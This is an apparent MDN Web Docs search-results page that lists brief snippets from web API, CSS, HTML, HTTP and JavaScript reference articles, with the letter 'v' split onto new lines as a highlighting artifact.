...so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: function buildsupportedpaymentmethoddata() { // example supported payment methods: return [{ supportedmethods: 'basic-card', data: { supportednetworks: ['
visa', 'mastercard'], supportedtypes: ['debit', 'credit'] } }]; } function buildshoppingcartdetails() { // hardcoded for demo purposes: return { id: 'order-123', displayitems: [ { label: 'example item', amount: {currency: 'usd', value: '1.00'} } ], total: { label: 'total', amount: {currency: 'usd', value: '1.00'} } }; } ...
...And 4 more matches
Permissions.revoke() - Web APIs
syntax this method is called on the global permissions object na
vigator.permissions.
... var revokepromise = na
vigator.permissions.revoke(descriptor); parameters descriptor an object based on the permissiondescriptor dictionary that sets options for the operation consisting of a comma-separated list of name-value pairs.
... user
visibleonly: (push only, not supported in firefox — see the browser compatibility section below) indicates whether you want to show a notification for every message or be able to send silent push notifications.
...And 4 more matches
Permissions API - Web APIs
the permissions api pro
vides a consistent programmatic way to query the status of api permissions attributed to the current context.
...the permissions api pro
vides the tools to allow developers to implement a better user experience as far as permissions are concerned.
... the permissions property has been made available on the na
vigator object, both in the standard browsing context and the worker context (workerna
vigator — so permission checks are available inside workers), and returns a permissions object that pro
vides access to the permissions api functionality.
...And 4 more matches
PhotoCapabilities.fillLightMode - Web APIs
the filllightmode read-only property of the photocapabilities interface returns all available fill light options of the source de
vice.
... auto the de
vice's fill light will be used automatically in low light conditions.
... flash always use the de
vice's fill light.
...And 4 more matches
PushManager - Web APIs
the pushmanager interface of the push api pro
vides a way to receive notifications from third-party servers as well as request urls for push notifications.
... this interface is accessed
via the ser
viceworkerregistration.pushmanager property.
... note: this interface replaces functionality pre
viously offered by the obsolete pushregistrationmanager interface.
...And 4 more matches
Web Push API Notifications best practices - Web APIs
this article pro
vides a useful summary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement.
... over
view of web push notifications web push notifications (created using a combination of the notifications, push, and ser
vice worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites.
... the dark side their novelty pro
vides a new and unexploited opportunity for enterprising sites to reach potential customers.
...And 4 more matches
RTCConfiguration.certificates - Web APIs
the rtcconfiguration dictionary's optional certificates property is an array of rtccertificate objects pro
viding the security certificates available for use when authenticating duing the connection process.
... see using certificates below for more information on why you might want to—or not to—explicitly pro
vide certificates.
...although a given dtls connection only uses a single certificate, pro
viding multiple options in the certificates list may improve the odds of establishing a connection by increasing the chances a mutually-compatible encryption algorithm and key size may be found.
...And 4 more matches
RTCIceTransport.state - Web APIs
its value will be one of the following: "new" the rtcicetransport is currently gathering local candidates, or is waiting for the remote de
vice to begin to transmit the remote candidates, or both.
... "checking" at least one remote candidate has been received, and the rtcicetransport has begun examining pairings of remote and local candidates in order to attempt to identify
viable pairs that could be used to establish a connection.
... keep in mind that gathering of local candidates may still be underway, and, similarly, the remote de
vice also may still be gathering candidates of its own.
...And 4 more matches
RTCRtpSendParameters.encodings - Web APIs
the rtcrtpsendparameters dictionary's encodings property is an rtcrtpencodingparameters object pro
viding configuration settings for the encoder being used for the rtcrtpsender's track.
... syntax sendparameters.encodings = encodingparameterlist; encodingparameterlist = sendparameters.encodings; value an array of objects conforming to the rtcrtpencodingparameters dictionary, each of which contains properties which pro
vide settings and parameters that describe and configure a single codec that could be used to encode the track.
... dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice acti
vity).
...And 4 more matches
SVGLengthList - Web APIs
note: starting in gecko 5.0,the svglengthlist dom interface is now indexable and can be accessed like arrays interface over
view also implement none methods void clear() svglength initialize(in svglength newitem) svglength getitem(in unsigned long index) svglength insertitembefore(in svglength newitem, in unsigned long index) svglength replaceitem(in svglength newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength newitem) properties ...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 4 more matches
SVGNumberList - Web APIs
interface over
view also implement none methods void clear() svgnumber initialize(in svgnumber newitem) svgnumber getitem(in unsigned long index) svgnumber insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber replaceitem(in svgnumber newitem, in unsigned long index) svgnumber removeitem(in unsigned long index) svgnumber appenditem(in svgnumber newitem) p...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
... if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 4 more matches
SVGPathSegList - Web APIs
interface over
view also implement none methods void clear() svgpathseg initialize(in svgpathseg newitem) svgpathseg getitem(in unsigned long index) svgpathseg insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg replaceitem(in svgpathseg newitem, in unsigned long index) svgpathseg removeitem(in unsigned long index) svgpathseg appenditem(in svgpathseg newitem) properties readonly unsigned long nu...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
... if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 4 more matches
SVGPointList - Web APIs
interface over
view also implement none methods void clear() svgpoint initialize(in svgpoint newitem) svgpoint getitem(in unsigned long index) svgpoint insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint replaceitem(in svgpoint newitem, in unsigned long index) svgpoint removeitem(in unsigned long index) svgpoint appenditem(in svgpoint newitem) ...
...if the inserted item is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its pre
vious list before it is inserted into this list.
...And 4 more matches
Storage Access API - Web APIs
the storage access api pro
vides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s first-party storage).
... the api pro
vides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent.
...these restrictions range from gi
ving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.
...And 4 more matches
SubtleCrypto - Web APIs
the subtlecrypto interface of the web crypto api pro
vides a number of low-level cryptographic functions.
... warning: this api pro
vides a number of low-level cryptographic primitives.
... subtlecrypto.wrapkey() returns a promise that fulfills with a wrapped symmetric key for usage (transfer and storage) in insecure en
vironments.
...And 4 more matches
TextTrackList.onaddtrack - Web APIs
syntax texttracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which
video track has been added to the media.
... usage notes the addtrack event is called whenever a new track is added to the media element whose
video tracks are represented by the texttracklist object.
... this happens when tracks are added to the element when the media is first attached to the element; one addtrack event will occur for each
video track in the media resource.
...And 4 more matches
TrackEvent - Web APIs
events based on trackevent are always sent to one of the media track list types: events invol
ving
video tracks are always sent to the
videotracklist found in htmlmediaelement.
videotracks events invol
ving audio tracks are always sent to the audiotracklist specified in htmlmediaelement.audiotracks events affecting text tracks are sent to the texttracklist object indicated by htmlmediaelement.texttracks.
...if not null, this is always an object of one of the media track types: audiotrack,
videotrack, or texttrack).
... methods trackevent has no methods of its own; however, it is based on event, so it pro
vides the methods available on event objects.
...And 4 more matches
VTTCue - Web APIs
vttcue.region a vttregion object describing the
video's sub-region that the cue will be drawn onto, or null if none is assigned.
... vttcue.snaptolines returns true if the vttcue.line attribute is an integer number of lines or a percentage of the
video size.
...this can be the string auto or a number representing the percentage of the vttcue.region, or the
video size if vttcue.region is null.
...And 4 more matches
VTTRegion - Web APIs
the vttregion interface—part of the api for handling webvtt (text tracks on media presentations)—describes a portion of the
video to render a vttcue onto.
... vttregion.width a double representing the width of the region, as a percentage of the
video.
... vttregion.
viewportanchorx a double representing the
viewport anchor x offset, as a percentage of the
video.
...And 4 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
you can then pro
vide this same index to gl.vertexattribpointer().
...depending on the graphics card, the index will vary, so you must call gl.getattriblocation() to find out the index, and then pro
vide this index to gl.vertexattribpointer().
... for example, the following vertex: { "position": [1.0, 2.0, 1.5], "normal": [1.0, 0.0, 0.0], "texcoord": [0.5, 0.25] } will be stored in the array buffer as follows: 00 00 80 3f 00 00 00 40 00 00 0c 3f 7f 00 00 00 7f ff 3f ff creating the array buffer first, we dynamically create the array buffer from json data using a data
view.
...And 4 more matches
Clearing by clicking - Web APIs
« pre
viousnext » this example demonstrates how to combine user interaction with webgl graphics operations by clearing the rendering context with a random color when the user clicks.
... clearing the rendering context with random colors this example pro
vides a simple illustration of how to combine webgl and user interaction.
... <p>a very simple webgl program that still shows some color and user interaction.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-
view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } win...
...And 4 more matches
A simple RTCDataChannel sample - Web APIs
while that's ob
viously a contrived scenario, it's useful for demonstrating the flow of connecting two peers.
... we'll cover the mechanics of accomplishing the connection and transmitting and recei
ving data, but we will save the bits about locating and linking to a remote computer for another example.
... <div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascript code while you can just look at the code itself on github, below we'll re
view the parts of the code that do the heavy lifting.
...And 4 more matches
WebSocket - Web APIs
the websocket object pro
vides the api for creating and managing a websocket connection to a server, as well as for sending and recei
ving data on the connection.
... also available
via the onclose property error fired when a connection with a websocket has been closed because of an error, such as when some data couldn't be sent.
... also available
via the onerror property.
...And 4 more matches
Web audio spatialization basics - Web APIs
think sounds flying over you, creeping up behind you, mo
ving across in front of you.
...this is much simpler to use, but ob
viously nowhere near as versatile.
... the boombox sits inside a room (defined by the edges of the browser
viewport), and in this demo, we can move and rotate it with the pro
vided controls.
...And 4 more matches
Web Storage API - Web APIs
the web storage api pro
vides mechanisms by which browsers can store key/value pairs, in a much more intuitive fashion than using cookies.
... these mechanisms are available
via the window.sessionstorage and window.localstorage properties (to be more precise, in supporting browsers the window object implements the windowlocalstorage and windowsessionstorage objects, which the localstorage and sessionstorage properties hang off) — invoking one of these will create an instance of the storage object, through which data items can be set, retrieved and removed.
... note: access to web storage from third-party iframes is denied if the user has disabled third-party cookies (firefox implements this beha
viour from version 43 onwards.) note: web storage is not the same as mozstorage (mozilla's xpcom interfaces to sqlite) or the session store api (an xpcom storage utility for use by extensions).
...And 4 more matches
Web Workers API - Web APIs
data is sent between workers and the main thread
via a system of messages — both sides send their messages using the postmessage() method, and respond to messages
via the onmessage event handler (the message is contained within the message event's data property).
...they are a little more complex than dedicated workers — scripts must communicate
via an active port.
... ser
viceworkers essentially act as proxy servers that sit between web applications, the browser, and the network (when available).
...And 4 more matches
Window.history - Web APIs
the window.history read-only property returns a reference to the history object, which pro
vides an interface for manipulating the browser session history (pages
visited in the tab or frame that the current page is loaded in).
... example history.back(); // equivalent to clicking back button history.go(-1); // equivalent to history.back(); notes for top-level pages you can see the list of pages in the session history, accessible
via the history object, in the browser's dropdowns next to the back and forward buttons.
... for security reasons the history object doesn't allow the non-pri
vileged code to access the urls of other pages in the session history, but it does allow it to na
vigate the session history.
...And 4 more matches
Window.openDialog() - Web APIs
example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the beha
vior flags chrome, dialog and modal).
... default beha
vior the chrome and dialog features are always assumed on, unless explicitly turned off ("chrome=no").
...if the features parameter is a zero-length string, or contains only one or more of the beha
vior features (chrome, dependent, dialog and modal) the chrome features are assumed "os' choice." that is, window creation code is not given specific instructions, but is instead allowed to select the chrome that best fits a dialog on that operating system.
...And 4 more matches
Worker - Web APIs
the worker interface of the web workers api represents a background task that can be created
via script, which can send messages back to its creator.
...when a message is sent to the parent document from the worker
via dedicatedworkerglobalscope.postmessage.
...ser
viceworker instances do not support this method.
...And 4 more matches
XRInputSource.targetRayMode - Web APIs
the target ray will be drawn originating at the
viewer's eyes and will follow the direction in which they're looking.
... screen the direction of the target ray is indicated using a tap on a touch screen, mouse, or other tactile input de
vice.
... tracked-pointer targeting is being performed using a handheld de
vice or hand-tracking system which the user points in the direction of the target.
...And 4 more matches
XRRenderState - Web APIs
the xrrenderstate interface of the webxr de
vice api contains configurable values which affect how the imagery generated by an xrsession gets composited.
... these properties include the range of distances from the
viewer within which content should be rendered, the vertical field of
view (for inline presentations), and a reference to the xrwebgllayer being used as the target for rendering the scene prior to it being presented on the xr de
vice's display or displays.
... depthfar read only the distance, in meters, of the far clip plane from the
viewer.
...And 4 more matches
XRSession.updateRenderState() - Web APIs
depthfar optional a floating-point value specifying the distance in meters from the
viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur.
... depthnear optional a floating-point value indicating the distance in meters from the
viewer to a plane parallel to the display surface to be the near clip plane.
... no part of the scene on the
viewer's side of this plane will be rendered.
...And 4 more matches
XRSessionEvent - Web APIs
the webxr de
vice api's xrsessionevent interface describes an event which indicates the change of the state of an xrsession.
... these events occur, for example, when the session ends or the
visibility of its context changes.
... properties in addition to properties inherited from its parent interface, event, xrsessionevent pro
vides the folllowing: session read only the xrsession to which the event refers.
...And 4 more matches
XRSystem: isSessionSupported() - Web APIs
the xrsystem method issessionsupported() returns a promise which resolves to true if the specified webxr session mode is supported by the user's webxr de
vice.
... if the no de
vices are available or the browser doesn't have permission to use the xr de
vice, the promise is rejected with an appropriate domexception.
...this string must be one of inline (to present the webxr content inline within the context of an html document) or immersive-vr for a fully-immersive
virtual experience.
...And 4 more matches
Using the link role - Accessibility
possible effects on user agents and assistive technology when the link role is added to an element, or such an element becomes
visible, the user agent should do the following: expose the element as ha
ving a link role in the operating system's accessibility api.
...the information pro
vided above is one of those opinions and therefore not normative.
...this includes javascript to grab the location and handle na
vigating to the new location using window.open()
via clicking, and using keyboard, css to give the desired
visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
...And 4 more matches
Using the status role - Accessibility
the status role is a type of live region and a container whose content is ad
visory information for the user that is not important enough to justify an alert, and is often presented as a status bar.
... status information content must be pro
vided within a status object, and it should be ensured that this object does not receive focus.
... if another part of the page controls what appears in the status, the relationship should be made explicit
via the aria-controls attribute.
...And 4 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles pro
vides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
... the wcag 2.0 and 2.1 pro
vide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities.
... each of the links below will take you to pages that further expand on these areas, gi
ving you practical ad
vice on how to write your web content so it conforms to the success criteria outlined in each of the wcag 2.0 and 2.1 guidelines that further sub-di
vides each principle.
...And 4 more matches
:focus - CSS: Cascading Style Sheets
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus { background: yellow; color: red; } .blue-input:focus { background: yellow; color: blue; } result accessibility concerns make sure the
visual focus indicator can be seen by people with low
vision.
...wcag 2.1 sc 1.4.11 non-text contrast requires that the
visual focus indicator be at least 3 to 1.
... accessible
visual focus indicators: give your site some focus!
...And 4 more matches
@supports - CSS: Cascading Style Sheets
@supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } in javascript, @supports can be accessed
via the css object model interface csssupportsrule.
...d version @supports ((perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or (-ms-perspective: 10px) or (-o-perspective: 10px)) { … /* css applied when 3d transforms, prefixed or not, are supported */ } testing for the non-support of a specific css property @supports not ((text-align-last: justify) or (-moz-text-align-last: justify)) { … /* css to pro
vide fallback alternative for text-align-last: justify */ } testing for the support of custom properties @supports (--foo: green) { body { color: var(--varname); } } testing for the support of a selector (eg.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@supportschrome full support 28edge full support 12firefox full support 22 full support 22 no support 17 — ...
...And 4 more matches
Using CSS transforms - CSS: Cascading Style Sheets
this guide pro
vides an introduction to using transforms.
...you have to start by configuring the 3d space by gi
ving it a perspective, then you have to configure how your 2d elements will behave in that space.
...the farther from the
viewer the elements are, the smaller they are.
...And 4 more matches
Pseudo-classes - CSS: Cascading Style Sheets
/* any button over which the user's pointer is hovering */ button:hover { color: blue; } pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the na
vigator (:
visited, for example), the status of its content (like :checked on certain form elements), or the position of the mouse (like :hover, which lets you know if the mouse is over an element or not).
... index of standard pseudo-classes :active :any-link :blank :checked :current :default :defined :dir() :disabled :drop :empty :enabled :first :first-child :first-of-type :fullscreen :future :focus :focus-
visible :focus-within :has() :host :host() :host-context() :hover :indeterminate :in-range :invalid :is() :lang() :last-child :last-of-type :left :link :local-link :not() :nth-child() :nth-col() :nth-last-child() :nth-last-col() :nth-last-of-type() :nth-of-type() :only-child :only-of-type :optional :out-of-range :past :placeholder-shown :read-only :re...
...ad-write :required :right :root :scope :state() :target :target-within :user-invalid :valid :
visited :where() specifications specification status comment fullscreen api li
ving standard defined :fullscreen.
...And 4 more matches
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-
visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-star...
...ngsfont-variation-settings (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@
viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-ty...
...lock-startmargin-bottommargin-inlinemargin-inline-endmargin-inline-startmargin-leftmargin-rightmargin-top::markermarks (@page)maskmask-bordermask-border-modemask-border-outsetmask-border-repeatmask-border-slicemask-border-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()max()max-block-sizemax-heightmax-height (@
viewport)max-inline-sizemax-widthmax-width (@
viewport)max-zoom (@
viewport)@mediamin()min-block-sizemin-heightmin-height (@
viewport)min-inline-sizemin-widthmin-width (@
viewport)min-zoom (@
viewport)minmax()mix-blend-modemmmsn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-...
...And 4 more matches
Shorthand properties - CSS: Cascading Style Sheets
using a shorthand property, you can write more concise (and often more readable) style sheets, sa
ving time and energy.
...that sounds anecdotal, but it really means that it overrides pre
viously set values.
... only the indi
vidual properties values can inherit.
...And 4 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
for non-tri
vial projects, this is not always possible.
...idth: 75px; } .four { color: white; background-color: var(--main-bg-color); margin: 10px; width: 100px; } .five { background-color: var(--main-bg-color); } <div> <div class="one"></div> <div class="two">text <span class="five">- more text</span></div> <input class="three"> <textarea class="four">lorem ipsum</textarea> </div> this leads to the same result as the pre
vious example, yet allows for one canonical declaration of the desired property value; very useful if you want to change the value across the entire page later.
...the second argument to the function, if pro
vided, is a fallback value, which is used as the substitution value when the referenced custom property is invalid.
...And 4 more matches
clamp() - CSS: Cascading Style Sheets
note that using clamp() for font sizes, as in these examples, allows you to set a font-size that grows with the size of the
viewport, but doesn't go below a minimum font-size or above a maximum font-size.
...as math expressions, so you can use addition, subtraction, multiplication and di
vision without using the calc() function itself.
... notes math expressions invol
ving percentages for widths and heights on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified.
...And 4 more matches
image-set() - CSS: Cascading Style Sheets
resolution and bandwidth differ by de
vice and network access.
... the image-set() function delivers the most appropriate image resolution for a user’s de
vice, pro
viding a set of image options — each with an associated resolution declaration — from which the browser picks the most appropriate for the de
vice and settings.
... image-set() allows the author to pro
vide options rather than determining what each indi
vidual user needs.
...And 4 more matches
overflow-inline - CSS: Cascading Style Sheets
syntax /* keyword values */ overflow-inline:
visible; overflow-inline: hidden; overflow-inline: scroll; overflow-inline: auto; /* global values */ overflow-inline: inherit; overflow-inline: initial; overflow-inline: unset; the overflow-inline property is specified as a single keyword chosen from the list of values below.
... values
visible content is not clipped and may be rendered outside the padding box's inline start and end edges.
...no scrollbars are pro
vided.
...And 4 more matches
Media buffering, seeking, and time ranges - Developer guides
sometimes it's useful to know how much <audio> or <
video> has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or
video player.
... this will work with <audio> or <
video>; for now let's consider a simple audio example: <audio id="my-audio" controls src="music.mp3"> </audio> we can access these attributes like so: var myaudio = document.getelementbyid('my-audio'); var bufferedtimeranges = myaudio.buffered; timeranges object timeranges are a series of non-overlapping ranges of time, with start and stop times.
... without any user interaction there is usually only one time range, but if you jump about in the media more than one time range can appear, as illustrated by the below
visualization.
...And 4 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
html pro
vides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or
videos retrieved from other hosts, it's ine
vitable that security problems may arise.
...this protects users from ha
ving private data exposed by using images to pull information from remote web sites without permission.
...And 4 more matches
<hgroup> - HTML: Hypertext Markup Language
so the html5 (w3c) specification pro
vides ad
vice on how to mark up subheadings, subtitles, alternative titles and taglines without using <hgroup>.
... to produce any (non-abstract) rendered
view of such an outline, some choice must be made in the design of the rendering tool about how to render <hgroup> headings in such a way as to convey their multi-level nature.
... before the first secondary heading (and with the same or similar punctuation before any other secondary headings an <hgroup> might be shown in a rendered outline in with the primary heading followed by parentheses around the secondary heading(s) consider the following html document: <!doctype html> <title>html standard</title> <body> <hgroup id="document-title"> <h1>html</h1> <h2>li
ving standard — last updated 12 august 2016</h2> </hgroup> <p>some intro to the document.</p> <h2>table of contents</h2> <ol id=toc>...</ol> <h2>first section</h2> <p>some intro to the first section.</p> </body> a rendered outline for that document might look like the following: that is, the rendered outline might show the primary title, html, followed by a colon and space, followe...
...And 4 more matches
<input type="button"> - HTML: Hypertext Markup Language
<input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default beha
vior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively).
...listener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.textcontent = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the script gets a reference to the htmlinputelement object representing the <input> in the dom, sa
ving this refence in the variable button.
...in a real site, you'd have to pro
vide this information in a way that doesn't intefere with the site design (for example by pro
viding an easily accessible link that points to information on what the site accesskeys are).
...And 4 more matches
<input type="week"> - HTML: Hypertext Markup Language
in chrome/opera the week control pro
vides slots to fill in week and year values, a pop-up calendar interface to select them more
visually, and an "x" button to clear the control's value.
...only values which are equal to the basis for stepping (min if specified, value otherwise, and an appropriate default value if neither of those is pro
vided) are valid.
... using week inputs week inputs sound convenient at first glance, since they pro
vide an easy ui for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale.
...And 4 more matches
<main> - HTML: Hypertext Markup Language
content that is repeated across a set of documents or document sections such as sidebars, na
vigation links, copyright information, site logos, and search forms shouldn't be included unless the search form is the main function of the page.
...landmarks can be used by assistive technology to quickly identify and na
vigate to large sections of the document.
... skip na
vigation skip na
vigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main na
vigation, info banners, etc.).
...And 4 more matches
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
though technically still implemented, this attribute has no
visual effect; to achieve such an effect, use css width instead.
...in modern browser this hint is ignored and no
visual effect results in its present; to achieve such an effect, use css white-space instead.
... example html <p>using css to change the font color is easy.</p> <pre> body { color: red; } </pre> result accessibility concerns it is important to pro
vide an alternate description for any images or diagrams created using preformatted text.
...And 4 more matches
<table>: The Table element - HTML: Hypertext Markup Language
this helps people na
vigating with the aid of assistive technology such as a screen reader, people experiencing low
vision conditions, and people with cognitive concerns.
...in complex tables, scope can be specified so as to pro
vide necessary information about the cells related to a header.
...tr> <th scope="row">teal</th> <td><code>#51f6f6</code></td> <td><code>hsla(180, 90%, 64%, 1)</code></td> <td><code>rgba(81, 246, 246, 1)</code></td> </tr> <tr> <th scope="row">goldenrod</th> <td><code>#f6bc57</code></td> <td><code>hsla(38, 90%, 65%, 1)</code></td> <td><code>rgba(246, 188, 87, 1)</code></td> </tr> </tbody> </table> pro
viding a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column.
...And 4 more matches
accesskey - HTML: Hypertext Markup Language
the accesskey global attribute pro
vides a hint for generating a keyboard shortcut for the current element.
...ie/edge uses the first one it supports without problems, pro
vided there are no conflicts with other commands.
... accesskey values that rely on numbers may be confusing to indi
viduals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers.
...And 4 more matches
inputmode - HTML: Hypertext Markup Language
it can have the following values: none no
virtual keyboard.
...de
vices may or may not show a minus key (-).
...de
vices may or may not show a minus key.
...And 4 more matches
title - HTML: Hypertext Markup Language
the title global attribute contains text representing ad
visory information related to the element it belongs to.
... some typical uses: labeling <iframe> elements for assistive technology pro
viding a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
... html <div title="cooltip"> <p>hovering here will show “cooltip”.</p> <p title="">hovering here will show nothing.</p> </div> result accessibility concerns use of the title attribute is highly problematic for: people using touch-only de
vices people na
vigating with keyboards people na
vigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page.
...And 4 more matches
HTTP authentication - HTTP
http pro
vides a general framework for access control and authentication.
... the general http authentication framework rfc 7235 defines the http authentication framework, which can be used by a server to challenge a client request, and by a client to pro
vide authentication information.
... the challenge and response flow works like this: the server responds to a client with a 401 (unauthorized) response status and pro
vides information on how to authorize with a www-authenticate response header containing at least one challenge.
...And 4 more matches
Data URLs - HTTP
note: data urls are treated as unique opaque origins by modern browsers, rather than inheriting the origin of the settings object responsible for the na
vigation.
...it can even be done
via bash base64 utility (see section encoding on a unix system) if wsl is activated.
... formatting in html a data url pro
vides a file within a file, which can potentially be very wide relative to the width of the enclosing document.
...And 4 more matches
Connection management in HTTP/1.x - HTTP
http mostly relies on tcp for its transport protocol, pro
viding a connection between the client and the server.
...modern web pages require many requests (a dozen or more) to serve the amount of information needed, pro
ving this earlier model inefficient.
... a persistent connection is one which remains open for a period of time, and can be reused for several requests, sa
ving the need for a new tcp handshake, and utilizing tcp's performance enhancing capabilities.
...And 4 more matches
Network Error Logging - HTTP
network error logging is a mechanism that can be configured
via the nel http response header.
... usage web applications opt in to this beha
viour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required.
... http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://example.com/pre
vious-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/pre
vious-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns...
...And 4 more matches
Control flow and error handling - JavaScript
« pre
viousnext » javascript supports a compact set of statements, specifically control flow statements, that you can use to incorporate a great deal of interacti
vity in your application.
... this chapter pro
vides an over
view of these statements.
... try { throw 'myexception'; // generates an exception } catch (err) { // statements to handle any exceptions logmyerrors(err); // pass exception object to error handler } best practice: when logging errors to the console inside a catch block, using console.error() rather than console.log() is ad
vised for debugging.
...And 4 more matches
constructor - JavaScript
} description a constructor enables you to pro
vide any custom initialization that must be done before any other methods can be called on an instantiated object.
... class person { constructor(name) { this.name = name; } introduce() { console.log(`hello, my name is ${this.name}`); } } const otto = new person('otto'); otto.introduce(); if you don't pro
vide your own constructor, then a default constructor will be supplied for you.
... if your class is a base class, the default constructor is empty: constructor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were pro
vided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // this is error instead of validationerror!
...And 4 more matches
Array.prototype.reduceRight() - JavaScript
syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value pre
viously returned in the last invocation of the callback, or initialvalue, if supplied.
... description reduceright executes the callback function once for each element present in the array, excluding holes in the array, recei
ving four arguments: the initial value (or value from the pre
